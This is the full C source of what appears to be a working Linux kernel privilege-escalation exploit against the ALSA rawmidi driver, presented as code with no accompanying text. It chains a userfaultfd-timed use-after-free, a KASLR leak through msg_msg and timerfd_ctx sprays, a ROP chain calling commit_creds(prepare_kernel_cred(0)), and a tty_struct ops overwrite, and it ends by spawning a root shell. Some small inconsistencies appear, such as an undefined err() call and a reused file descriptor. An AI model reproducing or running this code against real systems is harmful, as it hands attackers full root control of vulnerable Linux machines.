<pre><code>// gcc -o exploit exploit.c -masm=intel -static -s -lpthread<br />#define _GNU_SOURCE<br />#include <stdio.h><br />#include <stdlib.h><br />#include <stdbool.h><br />#include <sys/types.h><br />#include <sys/stat.h><br />#include <fcntl.h><br />#include <sys/ioctl.h><br />#include <errno.h><br />#include <string.h><br />#include <unistd.h><br />#include <stdint.h><br />#include <sound/asound.h><br />#include <sys/mman.h><br />#include <sys/syscall.h><br />#include <linux/userfaultfd.h><br />#include <sys/timerfd.h><br />#include <sys/ipc.h><br />#include <sys/msg.h><br />#include <pthread.h><br />#include <poll.h><br /><br />#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \<br /> } while (0)<br /> <br />#define ADDRESS_PAGE_FAULT1 0x1337000<br />#define ADDRESS_PAGE_FAULT2 0x3331000<br />#define ADDRESS_PAGE_FAULT3 0x5551000<br />#define PAGE_SIZE 0x1000<br />#define DRIVER_RAWMIDI "/dev/snd/midiC0D0"<br /><br />#define SNDRV_RAWMIDI_STREAM_OUTPUT 0<br /><br />uint32_t uffd;<br />uint32_t fd1, fd2, fd3;<br />uint64_t next;<br />uint64_t fake_table;<br /><br />pthread_t thread[6];<br /><br />bool release_page_fault = false;<br /><br />static void *page;<br /><br />unsigned long pivot;<br />unsigned long kernel_base;<br />unsigned long timerfd_tmrproc;<br /><br />unsigned long usr_cs, usr_ss, usr_rflags, usr_sp;<br /><br />struct args_trigger<br />{<br /> char *addr;<br /> int size;<br /> uint32_t fd;<br />};<br /><br />void hexdump(uint64_t *buf, uint64_t size)<br />{<br /> for (int i = 0; i < size / 8; i += 2)<br /> {<br /> printf("0x%x ", i * 8);<br /> printf("%016lx %016lx\n", buf[i], buf[i + 1]);<br /> }<br />}<br /><br />static void save_state()<br />{<br /> __asm__ __volatile__(<br /> "movq %0, cs;"<br /> "movq %1, ss;"<br /> "pushfq;"<br /> "popq %2;"<br /> "movq %3, %%rsp\n"<br /> : "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags), "=r" (usr_sp) : : "memory" );<br />}<br /><br />static void getRootShell()<br />{<br /> if(getuid())<br /> {<br /> printf("[-] Failed to get a root");<br /> exit(0);<br /> }<br /><br /> printf("[+] uid : %d\n", getuid());<br /> printf("[+] Got root.\n");<br /><br /> execl("/bin/sh", "sh", NULL);<br />}<br /><br />void register_userfaultfd(uint64_t *range)<br />{<br /> struct uffdio_api uffdio_api;<br /> struct uffdio_register uffdio_register;<br /><br /> uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);<br /><br /> if (uffd == -1)<br /> {<br /> perror("[-] userfaultfd");<br /> exit(0);<br /> }<br /><br /> uffdio_api.api = UFFD_API;<br /> uffdio_api.features = 0;<br /><br /> if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)<br /> {<br /> perror("[-] ioctl");<br /> exit(0);<br /> }<br /><br /> printf("[*] Start monitoring range: %p - %p\n", page, page + PAGE_SIZE);<br /><br /> uffdio_register.range.start = (uint64_t) range;<br /> uffdio_register.range.len = PAGE_SIZE;<br /> uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;<br /><br /> if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)<br /> {<br /> perror("[-] ioctl");<br /> exit(0);<br /> }<br /><br /> puts("[+] Userfaultfd registered");<br />}<br /><br />void *handler_userfaultfd(void *args)<br />{<br /> uint64_t uffd = *(uint64_t *)args;<br /><br /> struct uffd_msg msg;<br /> struct uffdio_copy uffdio_copy;<br /> uint64_t nread;<br /> void *page2 = NULL;<br /><br /> if ((page2 = mmap((void *)0xdead000, PAGE_SIZE * 5, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)<br /> {<br /> perror("[-] mmap()");<br /> exit(0);<br /> }<br /><br /> uint64_t m_ts = 0x000000000000ffff;<br /> memcpy(page2, (char *) &m_ts, 8);<br /><br /> while (true)<br /> {<br /> struct pollfd pollfd;<br /> int nready;<br /><br /> pollfd.fd = uffd;<br /> pollfd.events = POLLIN;<br /> <br /> nready = poll(&pollfd, 1, -1);<br /><br /> if (nready == -1)<br /> {<br /> perror("[-] poll");<br /> exit(0);<br /> }<br /><br /> nread = read(uffd, &msg, sizeof(msg));<br /> <br /> if (nread == 0)<br /> {<br /> perror("[-] EOF on userfaultfd!\n");<br /> exit(0);<br /> }<br /><br /> if (nread == -1)<br /> {<br /> perror("[-] read");<br /> exit(0);<br /> }<br /><br /> char *page_fault_location = (char *)msg.arg.pagefault.address;<br /><br /> if (msg.event != UFFD_EVENT_PAGEFAULT)<br /> {<br /> perror("[-] Unexpected event on userfaultfd");<br /> exit(0);<br /> }<br /><br /> if (msg.arg.pagefault.address == (void *)0x1337000 || msg.arg.pagefault.address == (void *)0x3331000 || msg.arg.pagefault.address == (void *)0x5551000)<br /> {<br /> printf("[+] Page Fault triggered on address 0x%llx\n", msg.arg.pagefault.address);<br /><br /> if(msg.arg.pagefault.address == (void *)0x5551000)<br /> {<br /> memcpy(page2, (char *) &fake_table, 8);<br /> }<br /><br /> while (release_page_fault == false);<br /><br /> uffdio_copy.src = (uint64_t) page2;<br /> uffdio_copy.dst = (uint64_t) msg.arg.pagefault.address &~(PAGE_SIZE - 1);<br /> uffdio_copy.len = PAGE_SIZE;<br /> uffdio_copy.mode = 0;<br /> uffdio_copy.copy = 0;<br /><br /> if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)<br /> {<br /> perror("[-] ioctl");<br /> exit(0);<br /> }<br /><br /> release_page_fault = false;<br /> }<br /> }<br /><br /> close(uffd);<br /> puts("[+] Page fault thread finished");<br />}<br /><br />void *trigger_userfaultfd(struct args_trigger *args)<br />{<br /> char *addr = (char *) args->addr;<br /> int size = args->size;<br /> uint32_t fd = (uint64_t) args->fd;<br /><br /> write(fd, addr, size);<br />}<br /><br />void send_msg(int qid, const void *msg_buf, size_t size, long mtype)<br />{<br /> struct msgbuf<br /> {<br /> long mtype;<br /> char mtext[size - 0x30];<br /> } msg;<br /><br /> msg.mtype = mtype;<br /> memcpy(msg.mtext, msg_buf, sizeof(msg.mtext));<br /><br /> if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)<br /> {<br /> perror("msgsnd");<br /> exit(1);<br /> }<br />}<br /><br />void *recv_msg(int qid, size_t size)<br />{<br /> void *memdump = malloc(size);<br /><br /> if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_NOERROR) == -1)<br /> {<br /> perror("msgrcv");<br /> return NULL;<br /> }<br /><br /> return memdump;<br />}<br /><br />void build_rop(char *buf)<br />{<br /> uint64_t *rop = (uint64_t *)&buf[0x0];<br /> int k = 0;<br /><br /> /* commit_creds(prepare_kernel_cred(0)) */<br /> rop[k++] = kernel_base + 0x15e8; // pop rdi ; ret<br /> rop[k++] = 0x0;<br /> rop[k++] = kernel_base + 0x8a800; // prepare_kernel_cred<br /> rop[k++] = kernel_base + 0x49fb8; // pop rdx ; ret<br /> rop[k++] = 0x8;<br /> rop[k++] = kernel_base + 0xa6b081; // cmp rdx, 8 ; jne 0xffffffff81a6b05e ; ret<br /> rop[k++] = kernel_base + 0x3dfdb4; // mov rdi, rax ; jne 0xffffffff813dfda1 ; xor eax, eax ; ret<br /> rop[k++] = kernel_base + 0x8a3c0; // commit_creds<br /><br /> /* kpti trampoline */<br /> rop[k++] = kernel_base + 0xc00a45; // swapgs_restore_regs_and_return_to_usermode + 22<br /> rop[k++] = 0x0; // rax<br /> rop[k++] = 0x0; // rdi<br /> <br /> rop[k++] = (unsigned long)&getRootShell;<br /> rop[k++] = (unsigned long)usr_cs;<br /> rop[k++] = (unsigned long)usr_rflags;<br /> rop[k++] = (unsigned long)usr_sp;<br /> rop[k++] = (unsigned long)usr_ss;<br /><br /> uint64_t *func_table = (uint64_t *)&buf[0x100];<br /> for (size_t i = 0; i < 12; i++)<br /> {<br /> if (i == 4)<br /> {<br /> *func_table++ = kernel_base + 0x1e; // ret;<br /> continue;<br /> }<br /><br /> if (i == 5)<br /> {<br /> *func_table++ = kernel_base + 0x1e; // ret<br /> continue;<br /> }<br /><br /> if (i == 6)<br /> {<br /> *func_table++ = kernel_base + 0x1e; // ret<br /> continue;<br /> }<br /><br /> *func_table++ = 0xdeadbeefdeadbe00 + i;<br /> }<br /><br /> *func_table = pivot;<br />}<br /><br />void pin_cpu(long cpu_id)<br />{<br /> cpu_set_t mask;<br /><br /> CPU_ZERO(&mask);<br /> CPU_SET(cpu_id, &mask);<br /><br /> if (sched_setaffinity(0, sizeof(mask), &mask) == -1)<br /> {<br /> err("`sched_setaffinity()` failed: %s", strerror(errno));<br /> }<br /><br /> return;<br />}<br /><br />void main(void)<br />{<br /> pin_cpu(0);<br /><br /> struct snd_rawmidi_params srp;<br /><br /> save_state();<br /><br /> /* ===================== [ SETP 1 - KASLR Leak ] ===================== */<br /><br /> puts("[+] STEP 1 : KASLR leak");<br /> fd1 = open(DRIVER_RAWMIDI, O_RDWR);<br /><br /> if (fd1 < 0)<br /> {<br /> perror("[-] open");<br /> exit(0);<br /> }<br /><br /> puts("[+] Opening rawmidi");<br /><br /> int qid[2];<br /> if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)<br /> {<br /> perror("msgget");<br /> exit(1);<br /> }<br /><br /> struct itimerspec its;<br /><br /> its.it_interval.tv_sec = 0;<br /> its.it_interval.tv_nsec = 0;<br /> its.it_value.tv_sec = 9999;<br /> its.it_value.tv_nsec = 0;<br /><br /> int tfd[256];<br /><br /> for(int i = 0; i < 256 / 2; i++)<br /> {<br /> tfd[i] = timerfd_create(CLOCK_REALTIME, 0);<br /> timerfd_settime(tfd[i], 0, &its, 0);<br /> }<br /><br /> if ((page = mmap((void *)0x1336000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)<br /> {<br /> perror("[-] mmap()");<br /> exit(0);<br /> }<br /><br /> puts("[+] Mapping two pages");<br /><br /> char *addr = page;<br /> memset(addr, 'A', PAGE_SIZE);<br /><br /> puts("[+] Registering one page userfaultfd"); <br /><br /> /* Registering mapped area */<br /> register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT1);<br /><br /> puts("[+] Raising up the handler for userfaultfd");<br /><br /> /* Handler for userfault */<br /> pthread_create(&thread[0], NULL, handler_userfaultfd, (void *) &uffd);<br /><br /> /* Create one object by size 256 */<br /> srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;<br /> srp.buffer_size = 240;<br /> srp.avail_min = 1;<br /> uint64_t err = ioctl(fd1, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);<br /><br /> puts("[+] Created one object by size 256");<br /><br /> if (err < 0)<br /> {<br /> perror("[-] ioctl");<br /> exit(0); <br /> }<br /><br /> struct args_trigger args;<br /> args.addr = addr + PAGE_SIZE - 0x18;<br /> args.size = 0x18 + 0x8;<br /> args.fd= fd1;<br /><br /> /* Blocking before object created by size 256 in userfault */<br /> pthread_create(&thread[1], NULL, (void *) trigger_userfaultfd, &args);<br /> puts("[+] Triggering userfaultfd");<br /><br /> /* Deleting before object created by size 256 generating an UAF */<br /> srp.buffer_size = 250;<br /> err = ioctl(fd1, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);<br /><br /> puts("[+] Deleting before object created by size 256 generating UAF");<br /><br /> if (err < 0)<br /> {<br /> perror("[-] ioctl");<br /> exit(0); <br /> }<br /><br /> /* send_msg 'A' */<br /> char buf[0xf8 - 0x30];<br /> memset(buf, 0x41, sizeof(buf));<br /> send_msg(qid[0], buf, 0xf8, 1);<br /><br /> puts("[+] Allocate msg_msg in kmalloc-256");<br /><br /> printf("[*] Waiting for userfaultd to finish ..\n");<br /> release_page_fault = true;<br /><br /> /* spray timerfd_ctx in kmalloc-256 */<br /> for(int i = 256 / 2; i < 256; i++)<br /> {<br /> tfd[i] = timerfd_create(CLOCK_REALTIME, 0);<br /> timerfd_settime(tfd[i], 0, &its, 0);<br /> }<br /><br /> puts("[+] Allocate timerfd_ctx in kmalloc-256");<br /><br /> while(release_page_fault == true);<br /> printf("[+] Page fault lock released\n");<br /><br /> uint64_t *leak = recv_msg(qid[0], 0x2000);<br /><br /> // hexdump(leak, 0x2000);<br /><br /> timerfd_tmrproc = *(leak + (0x200 / sizeof(uint64_t)));<br /> kernel_base = timerfd_tmrproc - 0x2201f0;<br /> pivot = kernel_base + 0x8fc625; // push r8 ; add byte ptr [rbp + 0x41], bl ; pop rsp ; pop r13 ; ret<br /><br /> printf("[+] timerfd_tmrproc addr : 0x%lx\n", timerfd_tmrproc);<br /> printf("[+] kernel_base addr : 0x%lx\n", kernel_base);<br /> printf("[+] pivot addr : 0x%lx\n", pivot);<br /><br /> for(int i = 0; i < 256; i++)<br /> {<br /> close(tfd[i]);<br /> }<br /><br /> close(fd1);<br /> puts("[+] Close rawmidi");<br /><br /> /* ===================== [ SETP 2 - SMAP Bypass ] ===================== */<br /><br /> puts("\n[+] STEP 2 : SMAP bypass");<br /> <br /> release_page_fault = false;<br /><br /> fd2 = open(DRIVER_RAWMIDI, O_RDWR);<br /><br /> if (fd2 < 0)<br /> {<br /> perror("[-] open");<br /> exit(0);<br /> }<br /><br /> puts("[+] Opening rawmidi");<br /><br /> if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)<br /> {<br /> perror("msgget");<br /> exit(1);<br /> }<br /><br /> if ((page = mmap((void *)0x3330000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)<br /> {<br /> perror("[-] mmap()");<br /> exit(0);<br /> }<br /><br /> puts("[+] Mapping two pages");<br /><br /> addr = page;<br /> memset(addr, 'B', PAGE_SIZE);<br /><br /> puts("[+] Registering one page userfaultfd"); <br /><br /> /* Registering mapped area */<br /> register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT2);<br /><br /> puts("[+] Raising up the handler for userfaultfd");<br /><br /> /* Handler for userfault */<br /> pthread_create(&thread[2], NULL, handler_userfaultfd, (void *) &uffd);<br /><br /> /* Create one object by size 512 */<br /> srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;<br /> srp.buffer_size = 500;<br /> srp.avail_min = 1;<br /> err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);<br /><br /> puts("[+] Created one object by size 512");<br /><br /> if (err < 0)<br /> {<br /> perror("[-] ioctl");<br /> exit(0); <br /> }<br /> args.addr = addr + PAGE_SIZE - 0x18;<br /> args.size = 0x18 + 0x8;<br /> args.fd= fd2;<br /><br /> /* Blocking before object created by size 512 in userfault */<br /> pthread_create(&thread[3], NULL, (void *) trigger_userfaultfd, &args);<br /> puts("[+] Triggering userfaultfd");<br /><br /> /* Deleting before object created by size 512 generating an UAF */<br /> srp.buffer_size = 90;<br /> err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);<br /><br /> puts("[+] Deleting before object created by size 512 generating UAF");<br /><br /> if (err < 0)<br /> {<br /> perror("[-] ioctl");<br /> exit(0); <br /> }<br /><br /> /* rop spray in kmalloc-512 */<br /> char secondary_buf[0x1ea - 0x30];<br /> memset(secondary_buf, 0, sizeof(secondary_buf));<br /> build_rop(secondary_buf);<br /><br /> printf("[*] Waiting for userfaultd to finish ..\n");<br /> release_page_fault = true;<br /><br /> for(int i = 0; i < 0x20; i++)<br /> {<br /> send_msg(qid[1], secondary_buf, 0x1ea, 0x1337);<br /> }<br /><br /> puts("[+] Spray ROP Chain in kmalloc-512");<br /><br /> while(release_page_fault == true);<br /> printf("[+] Page fault lock released\n");<br /><br /> uint64_t *leak2 = recv_msg(qid[1], 0x2000);<br /> next = *(leak2 + (0x1d8 / sizeof(uint64_t))) + 0x30;<br /> fake_table = next + 0x100;<br /><br /> printf("[+] msg_msg->m_list.next leak : 0x%lx\n", next - 0x30);<br /> printf("[+] Fake tty_struct->ops function table: 0x%lx\n", fake_table);<br /><br /> // hexdump(leak2, 0x2000);<br /><br /> close(fd2);<br /> puts("[+] Close rawmidi");<br /><br /> /* ===================== [ SETP 3 - tty_struct->ops overwrite ] ===================== */<br /><br /> puts("\n[+] STEP 3 : Fake tty_struct->ops overwrite");<br /><br /> release_page_fault = false;<br /><br /> fd3 = open(DRIVER_RAWMIDI, O_RDWR);<br /><br /> if (fd3 < 0)<br /> {<br /> perror("[-] open");<br /> exit(0);<br /> }<br /><br /> puts("[+] Re-opening rawmidi");<br /><br /> if ((page = mmap((void *)0x5550000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)<br /> {<br /> perror("[-] mmap()");<br /> exit(0);<br /> }<br /><br /> puts("[+] Mapping two pages");<br /><br /> addr = page;<br /> memset(addr, 'C', PAGE_SIZE);<br /><br /> puts("[+] Registering one page userfaultfd"); <br /><br /> /* Registering mapped area */<br /> register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT3);<br /><br /> puts("[+] Raising up the handler for userfaultfd");<br /><br /> /* Handler for userfault */<br /> pthread_create(&thread[4], NULL, handler_userfaultfd, (void *) &uffd);<br /><br /> /* Create one object by size 800 */<br /> srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;<br /> srp.buffer_size = 800;<br /> srp.avail_min = 1;<br /> err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);<br /><br /> puts("[+] Created one object by kmalloc-1024");<br /><br /> if (err < 0)<br /> {<br /> perror("[-] ioctl");<br /> exit(0); <br /> }<br /><br /> args.addr = addr + PAGE_SIZE - 0x18;<br /> args.size = 0x18 + 0x8;<br /> args.fd= fd3;<br /><br /> /* Blocking before object created by size 1024 in userfault */<br /> pthread_create(&thread[5], NULL, (void *) trigger_userfaultfd, &args);<br /> puts("[+] Triggering userfaultfd");<br /><br /> /* Deleting before object created by size 1024 generating an UAF */<br /> srp.buffer_size = 90;<br /> err = ioctl(fd3, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);<br /><br /> puts("[+] Deleting before object created by size 1024 generating UAF");<br /><br /> if (err < 0)<br /> {<br /> perror("[-] ioctl");<br /> exit(0); <br /> }<br /><br /> int spray[256];<br /><br /> /* tty_struct spray */<br /> for(int i = 0; i < 256; i++)<br /> {<br /> spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);<br /><br /> if(spray[i] < 0)<br /> {<br /> printf("[-] Failed open /dev/ptmx\n");<br /> }<br /> }<br /><br /> puts("[+] Allocate tty_struct in kmalloc-1024");<br /><br /> release_page_fault = true;<br /><br /> while(release_page_fault == true);<br /> puts("[+] Page fault lock released");<br /><br /> for(int i = 0; i < 256; i++)<br /> {<br /> ioctl(spray[i], 0, next - 8);<br /> }<br />}<br /><br /><br /></code></pre>